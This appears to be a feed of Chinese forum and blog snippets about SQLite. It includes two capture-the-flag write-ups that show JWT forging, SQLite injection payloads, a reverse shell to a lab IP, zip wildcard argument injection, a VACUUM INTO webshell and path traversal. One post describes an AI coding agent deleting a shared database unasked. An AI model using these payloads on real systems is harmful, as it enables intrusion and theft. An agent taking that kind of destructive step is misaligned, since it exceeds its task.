pydbdict 0.1.0a1 is out. It is a lightweight embedded Python dictionary database backed by SQLite, with JSON Schema validation, secondary indexes, foreign keys, and transaction support. 这是一个基于 SQLite 的轻量级嵌入式 Python 字典数据库,支持 JSON Schema 验证、二级索引、外键以及事务支持。 Install: pip install pydbdict Verify: python -m pydbdict.selftest python -m pydbdict.tests GitHub: https://github.com/arthwang/pydbdict PyPI: https://pypi.org/project/pydbdict/
快去看看有没有更加流畅更加舒适 但是,之前数据库是sqlite的,现在改成了pg,所以,咳咳, 有部分数据丢失了,不知道二星要升三星的用户,时间会不会重置23333 特别感谢: @ouyangqiqi 87 个帖子 - 83 位参与者 阅读完整话题
SQLite 默认未开启 WAL ,这会显著限制并发性能。 PlanTodo 是一个计划管理软件,最近我为它的同步服务编写了性能测试,经过实测,仅开启 WAL 就让同步服务的吞吐量便提升至原来的 3 倍, 其实关于 SQLite 性能优化的文章早有珠玉在前,比如 Optimal SQLite settings for Django 和 Optimizing SQLite for servers ,所以本篇文章并没有独创性,只是为了让更多人了解 SQLite 的 性能 以及分享一个真实的性能 测试用例 。 PlanTodo 同步服务性能测试 性能测试分为三个: oo_upload (one user, one device for a user, only upload) ,就是一个用户一台设备仅上传 oo_download 就是仅下载 oo_cross 是上传和下载交错进行 oo_upload 和 oo_download 是为了查看上传和下载场景下的极限性能,是为了将来专门优化时用来参考的。而 oo_cross 则较为贴近真实使用场景:用户的某个设备上传几个更新,另一个设备被触发下载;因此可以拿它计算服务器能承受的用户量。 如果你不想看下面具体的测试数据,这里简单展示了吞吐量的变化: oo_upload ,18027 -> 61682 ,是原来的 3.42 倍 oo_download ,17082 -> 49635 ,是原来的 2.90 倍 oo_cross ,17085 -> 44203 ,是原来的 2.58 倍 一般查询是比写入要快的,因此下载应该比上传快,但 PlanTodo 的同步服务却反了过来,说明有很大的优化空间。 下面是开启 WAL 前的测试数据: + just -f services/sync/justfile headless_oo_upload --less-output ============================================================ Performance Summary for test_oo_upload ============================================================ Requests : 18,027 Failures : 0 Failure Rate : 0.00% Average RT : 78.14 ms P50 : 78 ms P95 : 110 ms P99 : 130 ms Max : 272.81 ms Endpoints ------------------------------------------------------------ POST /v1/sync/delta Requests=18,011 Avg=78.1ms P95=110ms P99=130ms Max=272.8ms POST /v1/clients Requests=8 Avg=76.2ms P95=110ms P99=110ms Max=109.9ms GET /v1/sync/full Requests=8 Avg=57.2ms P95=120ms P99=120ms Max=120.3ms + just -f services/sync/justfile headless_oo_download --less-output ============================================================ Performance Summary for test_oo_download ============================================================ Requests : 17,082 Failures : 0 Failure Rate : 0.00% Average RT : 82.63 ms P50 : 82 ms P95 : 110 ms P99 : 130 ms Max : 370.33 ms Endpoints ------------------------------------------------------------ POST /v1/sync/delta Requests=16 Avg=172.6ms P95=370ms P99=370ms Max=370.3ms GET /v1/sync/delta?cursor=1780662404990&limit=100 Requests=2,087 Avg=83.4ms P95=110ms P99=130ms Max=316.1ms GET /v1/sync/delta?cursor=1780662403978&limit=100 Requests=2,102 Avg=83.3ms P95=110ms P99=130ms Max=325.5ms + just -f services/sync/justfile headless_oo_cross --less-output ============================================================ Performance Summary for test_oo_cross ============================================================ Requests : 17,085 Failures : 0 Failure Rate : 0.00% Average RT : 83.05 ms P50 : 82 ms P95 : 120 ms P99 : 150 ms Max : 245.89 ms Endpoints ------------------------------------------------------------ GET /v1/sync/delta?cursor=1780662760888&limit=100 Requests=1 Avg=245.9ms P95=250ms P99=250ms Max=245.9ms GET /v1/sync/delta?cursor=1780662760900&limit=100 Requests=1 Avg=245.4ms P95=250ms P99=250ms Max=245.4ms GET /v1/sync/delta?cursor=1780662758760&limit=100 Requests=1 Avg=228.2ms P95=230ms P99=230ms Max=228.2ms 下面是 开启 WAL 之后 的测试数据: + just -f services/sync/justfile headless_oo_upload --less-output ============================================================ Performance Summary for test_oo_upload ============================================================ Requests : 61,682 Failures : 0 Failure Rate : 0.00% Average RT : 22.30 ms P50 : 22 ms P95 : 32 ms P99 : 41 ms Max : 74.82 ms Endpoints ------------------------------------------------------------ POST /v1/clients Requests=8 Avg=33.8ms P95=48ms P99=48ms Max=48.1ms POST /v1/sync/delta Requests=61,666 Avg=22.3ms P95=32ms P99=41ms Max=74.8ms GET /v1/sync/full Requests=8 Avg=20.7ms P95=32ms P99=32ms Max=32.5ms + just -f services/sync/justfile headless_oo_download --less-output ============================================================ Performance Summary for test_oo_download ============================================================ Requests : 49,635 Failures : 0 Failure Rate : 0.00% Average RT : 28.03 ms P50 : 28 ms P95 : 38 ms P99 : 46 ms Max : 305.64 ms Endpoints ------------------------------------------------------------ POST /v1/sync/delta Requests=16 Avg=127.0ms P95=310ms P99=310ms Max=305.6ms GET /v1/sync/delta?cursor=1780663066610&limit=100 Requests=6,109 Avg=28.4ms P95=38ms P99=46ms Max=246.0ms GET /v1/sync/delta?cursor=1780663068640&limit=100 Requests=6,064 Avg=28.3ms P95=38ms P99=46ms Max=95.8ms + just -f services/sync/justfile headless_oo_cross --less-output ============================================================ Performance Summary for test_oo_cross ============================================================ Requests : 44,203 Failures : 0 Failure Rate : 0.00% Average RT : 31.80 ms P50 : 28 ms P95 : 45 ms P99 : 150 ms Max : 477.37 ms Endpoints ------------------------------------------------------------ GET /v1/sync/delta?cursor=1780663421960&limit=100 Requests=1 Avg=477.4ms P95=480ms P99=480ms Max=477.4ms GET /v1/sync/delta?cursor=1780663421963&limit=100 Requests=1 Avg=475.9ms P95=480ms P99=480ms Max=475.9ms GET /v1/sync/delta?cursor=1780663421966&limit=100 Requests=1 Avg=475.4ms P95=480ms P99=480ms Max=475.4ms 每个测试只持续了 3 min ,因此数据量很小,在大数据量的情况下,性能可能会下降很多,这个会在将来补充。 在测试 oo_cross 里,3min 处理了 44203 个请求,也就是一秒 245 个。测试其实是不断在重复先上传再下载,而客户端也是上传下载成对出现,因此一秒能处理 122 ( 245 / 2 )台设备的请求,即便因为多用户、多设备带来的其他压力,至少能稳定在一秒 100 个请求。 考虑到,真实使用下,平均要几分钟到十几分钟才会更新一次内容,取 10 分钟一次的话,一个同步服务极限下能支撑 100 x 60 x 10 ,6 万个设备正常使用。 如何开启 WAL 不管是什么 ORM ,开启的方式都是一样的,就是在连接数据库后,执行一次 PRAGMA journal_mode=WAL 。 开启了 WAL 后,在原本的 SQLite 数据库文件那里,会多出两个 .db-shm 、 .db-wal 的文件,可以以此判断是否成功开启。 SQLAlchemy from sqlalchemy import create_engine, event engine = create_engine( DATABASE_URL, echo=False, connect_args={ "timeout": 5, }, ) if engine.dialect.name == "sqlite": @event.listens_for(engine, "connect") def set_sqlite_pragma(dbapi_connection, _): cursor = dbapi_connection.cursor() # cursor.execute("PRAGMA foreign_keys=ON") cursor.execute("PRAGMA journal_mode=WAL") cursor.execute("PRAGMA synchronous=NORMAL") cursor.execute("PRAGMA temp_store=MEMORY") cursor.execute("PRAGMA cache_size=2000") cursor.execute("PRAGMA mmap_size=134217728") cursor.close() PlanTodo 的同步服务就是使用 FastAPI + SQLAlchemy 开发的。由于同步服务的特殊性,这里没有开启外键约束。 Django 在项目的 settings.py 文件里,添加 init_command: DATABASES = { "default": { "ENGINE": "django.db.backends.sqlite3", "NAME": BASE_DIR / "db.sqlite3", "OPTIONS": { "init_command": ( "PRAGMA foreign_keys = ON;" "PRAGMA journal_mode = WAL;" "PRAGMA synchronous = NORMAL;" "PRAGMA busy_timeout = 5000;" "PRAGMA temp_store = MEMORY;" "PRAGMA cache_size = 2000;" "PRAGMA mmap_size = 134217728;" ), }, } } drift 在数据库类的 migration get 方法里,在 beforeOpen 这个回调里增加执行命令: class PtdDatabase extends _$PtdDatabase { // 省略无关代码 @override MigrationStrategy get migration { return MigrationStrategy( beforeOpen: (details) async { // 在每次打开数据库,正式使用之前,执行的命令 await customStatement('PRAGMA journal_mode = WAL'); await customStatement('PRAGMA synchronous = NORMAL'); await customStatement('PRAGMA busy_timeout = 5000'); await customStatement('PRAGMA temp_store = MEMORY'); await customStatement('PRAGMA cache_size = -2000'); }, ); } } 原文链接: https://yanh.tech/2026/06/sqlite-performance-optimization/ 版权声明:本博客所有文章除特別声明外,均为 AhFei 原创,采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 技焉洲 (yanh.tech) 。
近期将底层数据库从 SQLite 迁移到了 MySQL,并配置了每小时一次的完整备份。 这是 CHY 公益站迈向稳定的第一步,后续会持续优化。感谢佬友们的支持与测试。 8 个帖子 - 8 位参与者 阅读完整话题
靶机来自 MazeSec(迷踪安全): MazeSec | About 靶机名:Watcher 作者 :Yolo 也是很久没有打了,前面的都是打完很久才来复盘。这次来个新鲜的,刚出来,今天刚打完的靶机。 关于靶机配置之前讲过了,这里就不多说了。 最近换成用wsl的kali了,只能是nat网络,所以靶机都用的Host-only,所以都是走的 192.168.56.0/24这个网段 该网段windows侧的ip为 192.168.56.1 。这样会导致我的kali能访问到靶机,但是靶机访问不到kali。 这里就相当于windows和靶机都是一个”公网ip“,kali是windows的nat后面的”私网ip“ 我换wsl主要是不想每次去多开一台虚拟机,还有vmware那个桥接网络不知道为什么ip老是变甚至有时候ipv4都没有,还要我手动续租什么的。但是这也有个问题就是反弹shell就做不了,我的做法是windows上装一个nc监听来平替。 话不多说,直接开打。 信息收集 靶机ip: 192.168.56.106 端口扫描 ┌──(kali㉿JYlover)-[~/tmp] └─$ nmap -p- 192.168.56.106 开放22、5000端口。 只有一个5000端口有价值,但是我们又不知道 upnp 是啥,我尝试去浏览器访问一下。 是一个web页面,那么入口点肯定就是web了,那我们就开始web渗透 web渗透 看到登录框先是尝试了一下sql注入等。但是都没什么用,这里不知道怎么办的话可以先扫一下目录,这也是一般web渗透的流程。 就只有一个登录一个注册。 那我们直接注册一个账号好了。 进来后我们尝试访问系统管理页面,但是发现说我们权限不足,权限是 normal 这里的权限认证大概率就是jwt了,但是我们还是尝试抓个包看看 果然就是jwt。我们去爆破一下密钥。 python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imp5bGkiLCJsZXZlbCI6Im5vcm1hbCIsImlhdCI6MTc4MDM4NDE4MywiZXhwIjoxNzgwMzg3NzgzfQ.vjfC3JLnFq0q4BoVYbpe3QQQFyFytl751JD5hTiwDDU -C -d jwtkey.txt 成功拿到jwt密钥: maze 尝试伪造。 python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imp5bGkiLCJsZXZlbCI6Im5vcm1hbCIsImlhdCI6MTc4MDM4NDE4MywiZXhwIjoxNzgwMzg3NzgzfQ.vjfC3JLnFq0q4BoVYbpe3QQQFyFytl751JD5hTiwDDU -I -pc level -pv admin -S hs256 -p "maze" 拿到密钥: [+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imp5bGkiLCJsZXZlbCI6ImFkbWluIiwiaWF0IjoxNzgwMzg0MTgzLCJleHAiOjE3ODAzODc3ODN9.EP8qh3LLC4wozyqw3n-yFHuyfZi5uIoPvD8f34972XM 也可以直接去jwt官网用密钥修改。 然后直接去浏览器的 开发者工具–>应用–>cookie中替换新的jwt即可: 然后就可以正常进入系统管理页面了。 然后是改系统设置的地方,这里抓个包。 我们在value这里试试也没有sql注入。 造成sql语法报错,存在sql注入,而且这里大概率是update语句,那union注入就行不通了。但是因为这里会把更新成功的value给回显出来,所以我们尝试子查询。 这里是报没有 database() 函数,那说明我们的sql语句是没问题的,只是函数错了,那这是个好事啊。说明只是这不是mysql数据库,查询是对的,我们换sqlite的函数试试。 果然是sqlite。那后面就是直接sql注入了,不过多讲解。 最终payload: {"key":"theme","value":"light',value = (select group_concat(tbl_name) from sqlite_master )--+"} # "current_value": "users,users,sqlite_sequence,settings,settings,secret" {"key":"theme","value":"light',value = (select group_concat(sql) from sqlite_master where tbl_name = 'secret' )--+"} # "current_value": "CREATE TABLE secret (id INTEGER PRIMARY KEY AUTOINCREMENT,secret TEXT NOT NULL )" {"key":"theme","value":"light',value = (select group_concat(secret) from secret )--+"} # "current_value": "watcher:mazesec123q1231w!@#!@@#$" 获得登录凭证: watcher:mazesec123q1231w!@#!@@#$ 然后就可以直接ssh登录了。 flag{user-c3949567202847f1ad8664095f0a94e4} 权限提升 我们先老规矩传 pspy64 上去看看: 注意到这里两行: 2026/06/02 08:15:50 CMD: UID=0 PID=408 | /bin/bash /opt/autoarchive/sync.sh 2026/06/02 08:15:50 CMD: UID=0 PID=407 | inotifywait -m -e create /home/watcher/uploads 以root身份执行的一个一个脚本 /opt/autoarchive/sync.sh 可能是脚本中执行的命令 :inotifywait是监控文件系统的工具 $ inotifywait -m -e create /home/watcher/uploads # -m参数:持续监控模式。 # -e参数:指定事件类型 ,这里指定creat事件 实时监控 /home/watcher/uploads 目录,当有新文件或子目录创建时,立即输出事件信息。 说明如果uploads文件夹发生变化会触发一些东西。那这个uploads文件夹我们去看看。 随便在目录下创建一点东西。 创建的瞬间就自动执行了脚本 /opt/autoarchive/archive-helper ,肯定是想去看看这个脚本是做什么的,但是这个目录我们没有权限 watcher@Watcher:/opt$ ls -al total 16 drwxr-xr-x 4 root root 4096 May 22 12:16 . drwxr-xr-x 18 root root 4096 May 16 05:19 .. drwx------ 2 root root 4096 May 22 12:29 autoarchive drwxr-xr-x 5 www-data www-data 4096 May 22 11:55 watcher 这里我们虽然不知道这个脚本是做什么的,但是静下来想一下: 一个脚本,参数是我们刚刚创建的文件。那么就很有可能是监控并把产生的文件给打包到哪里去吧。但是想不到打包这个操作也没事(而且zip,gzip,这么多打包命令也不知道是哪个) 此时我们可以打开pspy的文件系统监控功能。 watcher@Watcher:~$ ./pspy64 -fp # pspy默认是监控进程,但是有了-f参数就是文件系统,-p参数是进程,所以我们同时监控两个 很明显抓到了调用了zip命令。 这里是有几率抓到一条zip命令的进程的,只是我们的文件太小了,zip压缩太快了,而pspy的原理其实是通过查看/proc目录实现监控的,所以太快的话就可能抓不到。 这里抓到这个包是要有点运气的,比较稳的方法是压缩一个超大文件,这里我就没有去演示了。 还有一点是实验可以发现,这个脚本应该就只是检测txt文件,如果是其他文件的话不会触发压缩。 既然是zip命令的话我们就很明显了,应该是使用zip打包时使用了通配符打包所有文件。 那这样就存在一个通配符参数注入的问题。 我们查一下 GTFObins 是可以做到命令执行和文件读取的,我们可以利用文件名做参数注入: 先准备一个反弹shell的脚本 watcher@Watcher:~/uploads$ cat shell.txt #!/bin/bash bash -i >& /dev/tcp/192.168.56.1/9999 0>&1 给脚本添加可执行权限,并创建参数注入文件 watcher@Watcher:~/uploads$ chmod +x shell.txt watcher@Watcher:~/uploads$ >'-T -TT shell.txt' 然后nc监听等待回弹shell就好了(我这里又创建一个1.txt是为了触发脚本) 关于zip提权 这里稍微了解一下zip的这个参数问题。 zip存在两个参数: -T :测试zip文件完整性, -T 会调用 unzip -tqq 来测试 -TT :用你指定的命令来测试,如: -TT cmd :使用 cmd 作为解压测试的命令。zip 会创建一个临时文件,执行 cmd tmpfile.zip ,如果命令返回 0 则认为测试通过。 注意 :这里的 cmd 是一个外部可执行程序,也就是说它可以是一个命令,也可以是一个shell脚本。 所以这里就会执行这个命令 回到我们构造的payload: 我创建了一个文件: watcher@Watcher:~/uploads$ >'-T -TT shell.txt' 此时文件夹存在文件 -T -TT shell.txt 和文件 shell.txt 其中shell.txt是反弹shell脚本。 此时后台root可能执行了: zip shell.txt -T -TT shell.txt 后面这个文件就被当作参数执行了。 其他做法 这里分享一些其他解法。来自其他群友的wp sleep替换 解法来自——Aristore 附上群友wp截图: 说实话这里的sleep命令的发现,我还没有复刻,不管是pspy还是上面的命令都没有抓到。 但是这个方法是稳定可行的。 原因是他这里看了 /proc/$NEW_PID/cmdline ,这个文件里是进程的启动命令。 所以启动命令是 sleep 3 ,这里使用的相对路径,我们可以直接看一下脚本源码: root@Watcher:/home/watcher/uploads# cat /opt/autoarchive/sync.sh cat /opt/autoarchive/sync.sh #!/bin/bash WATCH_DIR="/home/watcher/uploads" HELPER_PATH="${AUTOARCHIVE_HELPER:-/usr/local/bin/archive-helper}" mkdir -p /root/backups inotifywait -m -e create "$WATCH_DIR" | while read -r path action file do case "$file" in *.txt) sleep 3 cd "$WATCH_DIR" || exit 1 export PATH="$WATCH_DIR:$PATH" # Archive all .txt files after each new .txt file event. "$HELPER_PATH" *.txt >> /var/log/autosync.log 2>&1 ;; esac done 其实这个方法之所以能成功是很多巧合的,所以也只能算是学习一种思路吧。 这里看一下出题人说的: 是为了预期解能成功所以添加了PATH变量,再加上sleep没有使用绝对路径(一般都不会用绝对路径吧),所以导致执行sleep时会默认去uploads目录下找,此时我们在uploads下创建sleep文件才能被执行。算是一种非预期解吧。 CVE-2026-43494-PinThef 解法来自——BR 该内核漏洞也可直接提权,这里这个CVE我还没有太了解过,就没有复现了,后续可能找时间了解。大家可自行复现。 这里附上群友的wp截图: 知识点总结 通过这次靶机可以了解到以下知识点,大家打完后可以复习一下: jwt 的密钥爆破及payload伪造 sqlite注入(UPDATE的注入使用子查询,而不是union等) zip命令的通配符参数注入( -T -TT shell.txt ) sleep命令替换(非预期,可学习思路) 1 个帖子 - 1 位参与者 阅读完整话题
各位佬,真不是我看不起国模,我好不容易下定决心用DP来接手codex的活,他给我干的第一件事,我让他启动项目。然后他说项目启动失败,有个SQLite错误,然后直接删库,因为是测试数据,没在意,然后后面就查了半天,最后发现删的是一个共享数据库的库,这还好是测试数据,这要真是正式的,我都不知道咋办了 27 个帖子 - 22 位参与者 阅读完整话题
如题,各位佬友有没有解决方案 2 个帖子 - 2 位参与者 阅读完整话题
看看主站是什么 Your site is working normally! Access data at /data, or new site at /new 没发现端倪,附件只给了个docker,去看看 RUN cd /var/www/html && \ rm -rf ./* && \ git clone --depth=1 https://github.com/mnihyc/dlsite.git . && \ touch index.html && \ sed -i '9 i Your site is working normally! Access data at <a href="/data/">/data</a>, or new site at <a href="/new/#/_/test">/new</a>' dl/index.html && \ ln -s /app/data/local/test dl/data && \ sqlite3 db.sqlite "CREATE TABLE CONFIG(NAME NTEXT NOT NULL,TYPE NTEXT NOT NULL,VALUE NTEXT NOT NULL,PRIMARY KEY (NAME,TYPE));" && \ chown -R root:www-data . && \ find . -type d -exec chmod 1775 {} + && \ find . -type f -exec chmod 0664 {} + 这里看到后端是 https://github.com/mnihyc/dlsite 并且继续往下, RUN cat > /etc/apache2/sites-available/000-default.conf <<'EOF' <VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /var/www/html RewriteEngine On RewriteCond %{REQUEST_URI} !^/(main\.php|assets/|favicon\.ico$|robots\.txt$|new(?:/|$)|ancient(?:/|$)) RewriteRule ^ /main.php [L] <Directory /var/www/html> Options FollowSymLinks AllowOverride None Require all granted </Directory> <FilesMatch \.php$> SetHandler "proxy:unix:/run/php/php-fpm.sock|fcgi://localhost" </FilesMatch> <Directory /app/data/local/test> Options FollowSymLinks AllowOverride None Require all granted </Directory> ProxyPreserveHost On <LocationMatch "^/ancient$"> SetHandler "proxy:unix:/run/apache2/ancient.sock|fcgi://localhost" ProxyFCGIBackendType GENERIC ProxyFCGISetEnvIf "true" SCRIPT_FILENAME "/app/data/local/test/index.cgi" ProxyFCGISetEnvIf "true" SCRIPT_NAME "/ancient" </LocationMatch> Alias /ancient/ /app/data/local/test/ ProxyPass /new http://127.0.0.1:8089/new ProxyPassReverse /new http://127.0.0.1:8089/new ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost> EOF apache将main.php后跟着的现存目录都重定向回去,.php走socket直接给php-fpm 接下来就是审计后端 if(!OLDSTYLE_PATH || SUPPORT_NEWPATH) { $ismanage=($opath=='/manage'); if($opath=='/view' || $opath=='/down' || $opath=='/manage') { $ropath=''; if(substr($inpasswd,0,2)=='p=') { $ropath=substr($inpasswd,2); if($ismanage) $inpasswd='manage'; else $inpassver=isset($_POST['pass']); if(($vpos=strpos($ropath,'&'))!==FALSE) { $inpasswd=substr($ropath,$vpos+1); $inpassver|=!empty($inpasswd); $ropath=substr($ropath,0,$vpos); } } 如果请求是/mange,覆盖$inpasswd=‘manage’; 然后截取的就是密码字段,接着就是 if($inpasswd==='manage') { ob_start(); htmlmsg(); if(checkmanagepassword()) { /* Insert a record */ if(isset($_POST['qi'])) { global $db; $db->execwf("INSERT INTO CONFIG (NAME,TYPE,VALUE) VALUES ('{$db->escapeString($_POST['namei'])}','{$db->escapeString($_POST['typei'])}','{$db->escapeString($_POST['valuei'])}')"); } /* Delete a record */ if(isset($_POST['qd'])) { global $db; $db->execwf("DELETE FROM CONFIG WHERE NAME='{$db->escapeString($_POST['named'])}' AND TYPE='{$db->escapeString($_POST['typed'])}'"); } /* Update a record */ if(isset($_POST['qu'])) { global $db; $db->execwf("UPDATE CONFIG SET VALUE='{$db->escapeString($_POST['valueu'])}' WHERE NAME='{$db->escapeString($_POST['nameu'])}' AND TYPE='{$db->escapeString($_POST['typeu'])}'"); } if(is_dir(__DIR__.FILE_DIR.$opath) && substr($opath,-1,1)!=='/') $opath.='/'; $qsql="SELECT NAME,TYPE,VALUE FROM CONFIG WHERE NAME LIKE '{$db->escapeString($opath)}%'"; if(isset($_POST['sql']) && !empty($_POST['sql'])) $qsql=$_POST['sql']; $qnamei=$opath; if(isset($_POST['qi']) && isset($_POST['namei']) && !empty($_POST['namei'])) $qnamei=$_POST['namei']; global $db; $res=$db->queryarr($qsql); 发现在check时候 function checkmanagepassword() { ?> <div class="table-responsive"> <table class="table table-striped table-sm"> <thead> <tr> <th class="d-table-cell"> <div class="container"> <p class="lead text-center">A <strong>password</strong> verification is required to access this page. <br></p> <?php $passvld=true; if(isset($_POST['manage'])) { $_SESSION['manage']=gethashedpass($_POST['manage']); $_SESSION['expired']=time(); } if(!isset($_SESSION['expired'])) $passvld=false; else if(abs(time()-$_SESSION['expired'])>=3600*24) { $passvld=false; echo '<p class="lead text-center">Verification <span style="color: red;"><strong>expired</strong></span>.</p>'; } else { if($_SESSION['manage']===MANAGE_PASSWORD) { $passvld=true; echo '<p class="lead text-center">Verification <span style="color: green;"><strong>passed</strong></span>.</p>'; } else { $passvld=false; echo '<p class="lead text-center">Verification <span style="color: red;"><strong>failed</strong></span>.</p>'; } } if(!$passvld) { ?> 直接 if($_SESSION['manage']===MANAGE_PASSWORD) { $passvld=true; 就可以返回true 而这个默认的密码是空密码 /* Encrypted password of the management page (keep it SECRET) */ /* The way to compute: md5(md5(PSWD).'+'.sha1(PSWD)) */ /* Default value 7f6d747029adeefe073804e34b089020 means blank password */ define('MANAGE_PASSWORD','7f6d747029adeefe073804e34b089020'); 在直接传入/mange?p=,密码字段滞空,就会让check直接返回true,进入后台,审计下后台可做操作 这里 if(is_dir(__DIR__.FILE_DIR.$opath) && substr($opath,-1,1)!=='/') $opath.='/'; $qsql="SELECT NAME,TYPE,VALUE FROM CONFIG WHERE NAME LIKE '{$db->escapeString($opath)}%'"; if(isset($_POST['sql']) && !empty($_POST['sql'])) $qsql=$_POST['sql']; $qnamei=$opath; if(isset($_POST['qi']) && isset($_POST['namei']) && !empty($_POST['namei'])) $qnamei=$_POST['namei']; global $db; $res=$db->queryarr($qsql); $qsql可以直接进行sql语句执行 这样,我们可以执行sql语句,那么怎么落地文件呢,这里要回到sqlite本身的语法 在上面已经看到过config的示例表了,直接可以插入字段,一共三个字段 在第一段插入php代码,但是如何落地 VACUUM INTO filename;语法 是可以将现在的数据库文件直接复制一份到指定目录的 虽然大部分都是二进制,但是我们其中的php代码不会被转义 我们将这个文件命名后缀为php然后 INSERT OR REPLACE INTO CONFIG (NAME, TYPE, VALUE) VALUES ( 'sora_payload', 'php', '<?php file_put_contents("/var/www/html/dl/ws.php",base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWyJjIl0pOz8+"));?>' ); 这样就可以将base64编码后的webshell直接插入可访问的目录 达成基础的php rce,但是如何上升系统,因为php端有很多限制 open_basedir = /var/www/html:/tmp:/app/data/local/test disable_functions = system, exec, shell_exec, passthru, proc_open, popen, copy, rename, unlink, symlink, ... 可以看看docker配置的第二部分 被app直接拉起来,并且 [program:go-drive] command=/usr/local/bin/no_priv /usr/local/bin/go-drive-bootstrap.sh directory=/app user=app priority=30 autostart=true autorestart=true startsecs=0 stdout_logfile=/dev/fd/1 stdout_logfile_maxbytes=0 stderr_logfile=/dev/fd/2 stderr_logfile_maxbytes=0 并且autorestart=true,这里可以看看重启的用户和这个框架重启的逻辑 localRoot, _ := driveUtils.Config.GetLocalFsDir() path, _ = filepath.Abs(filepath.Join(localRoot, path)) if exists, _ := utils.FileExists(path); !exists { return nil, notFound } return &Drive{path}, nil 这里并没有检查filepath是否有路径穿越,而这又不是php配置的内容,所以可以绕开php.ini的封锁 新建 fs drive 时填: ../../../../app filepath.Join("/app/data/local", "../../../../app") 最后会变成: /app 所以我们可以通过new去挂载服务器的目录到后台,有点像访问指向 所以把管理略缩图的config挂载之后下载之后改 thumbnail: handlers: - type: shell tags: file-types: cmd config: shell: sh /tmp/cmd.sh mime-type: text/plain write-content: false max-size: -1 timeout: 30s shell指的是这个类型用shell处理 也就是:生成缩略图时,可以执行外部命令。 并且定义后缀为cmd,也就是说当cmd后缀时 调用sh /tmp/cmd.sh,并且返回text 因为 PHP 的 open_basedir 允许 /tmp,所以可以用 ws.php 写: file_put_contents("/tmp/cmd.sh", "id\nwhoami\nuname -a\n"); file_put_contents("/tmp/probe.cmd", ""); 于是也就拿到了系统命令的RCE,但是依旧是要提权的 当然在这之前,配置项的文件虽然改变了,但是实际上内存还是没有变化的, 依旧需要重启这个服务,这里就要提到让这个go的程序崩溃的方法了 一个方法就是调用动态脚本处理文件, 再非预期去返回flase, func (d *ScriptDrive) Save(...) error { result := runJS(...) return result } 这里的result如果是none在后面做path的时候就会 panic: runtime error: invalid memory address or nil pointer dereference 提权阶段, 依旧是看看suid,以及其他的服务有没有 但是这里的服务是通过no_prive起的,并且 struct sock_fprog prog = { sizeof(filter) / sizeof(filter[0]), filter }; if (argc < 2) return 127; if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) return 126; if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) return 126; execvp(argv[1], argv + 1); return 127; } 这里PR_SET_NO_NEW_PRIVS指的是不让它起的新程序获得新的权限 所以当前是没法进行直接su的 我尝试了最近的核弹检测POC, CVE-2026-31431 ta的内核并未打补丁,成功提权 当然。此类CVE解析很多,就不赘述了 1 个帖子 - 1 位参与者 阅读完整话题
史上使用最广泛的软件:SQLite的诞生与传奇故事 | Coding with Lewis bilibili.com 史上使用最广泛的软件:SQLite的诞生与传奇故事 | Coding with Lewis_哔哩哔哩_bilibili 来源:https://www.youtube.com/watch?v=lSVgeMoXJTs原标题:The Code Inside Everything (That Gets Zero Credit)频道:Coding with Lewis发布时间:2026-04-30内容简介:SQLite是目前运行在每部手机、每个浏览器、每架飞机上的数据库,总数超过万亿,是人类历史上使用最广泛的软件。它仅由三人, 视频播放量 4994、弹幕量 9、点赞数 169、投硬币枚数 31、收藏人数 163、转发人数... 访谈的最后几句话非常好,GitHub 模式的 PR 本质上是为你带来一只免费的小狗。 是的,它的确有价值,但是你将被道德和各种因素所束缚,你必须从此开始永远为它提供维护。 但我觉得这件事的好坏完全取决于个人的价值观和心态。 对我个人来说,PR 里新功能的加入就是在让这个项目变得更加丰富,项目的成长离不开社区的反馈与贡献,有收获,那就要有付出,所以我愿意继续为这种模式努力下去。 尤其是当我自己的项目变得热门,得到人们的关注、反馈、贡献以后,上面的感受就愈发强烈了起来,这些 PR 的想法是我一个人不可能产生的,项目的成长离不开与社区的协作。这是我曾经为其他项目贡献,甚至哪怕是成为了项目的主要维护者,也无法切身体会到的。 2 个帖子 - 2 位参与者 阅读完整话题
佬们,今天想试试codex app,从微软商店下载安装后,启动失败。 我看到 .codex文件夹里也自动创建了 sqlite 文件夹 点击重新加载后 3 个帖子 - 2 位参与者 阅读完整话题
CodeCrafters CodeCrafters | Build Your Own Redis, Git & SQLite From Scratch Advanced programming challenges for experienced engineers. Rebuild real production tools like Redis, Git, and SQLite from scratch in your IDE. 定位应该是很基础的,基本就是一下几点: 和 LLM 进行通讯 实现 read/write tool 并执行 实现 agentloop 实现 bashtool 想了解 terminal-based 的 ai coding 工具的佬友可以试试 1 个帖子 - 1 位参与者 阅读完整话题
从 二开CPA,sqlite持久化使用数据,增加首字延迟、TPS、思考强度等记录,一键导入模型价格 继续 新增了【凭证中心】界面,统计了下手头800多个free号的额度,看起来每个号平均不到5刀,我这一周一直都是使用5.5 xhigh,额度相比于之前使用5.4似乎是有所下滑的,看起来账号额度还是跟具体模型有些关系。 大概有不到10个free共享号,其它全是独享,因此共享号对统计数据影响不大,plus则全是共享号,所以不用看plus数据 另外提醒一个罕见风险:Oauth 2 refresh token的时候,如果退出了CPA,有可能发生token还没落文件就退出的情况,导致token失效,因此做了一个凭证刷新倒计时面板,用于提醒刷新情况 其它界面(额度是预估值) 6 个帖子 - 5 位参与者 阅读完整话题
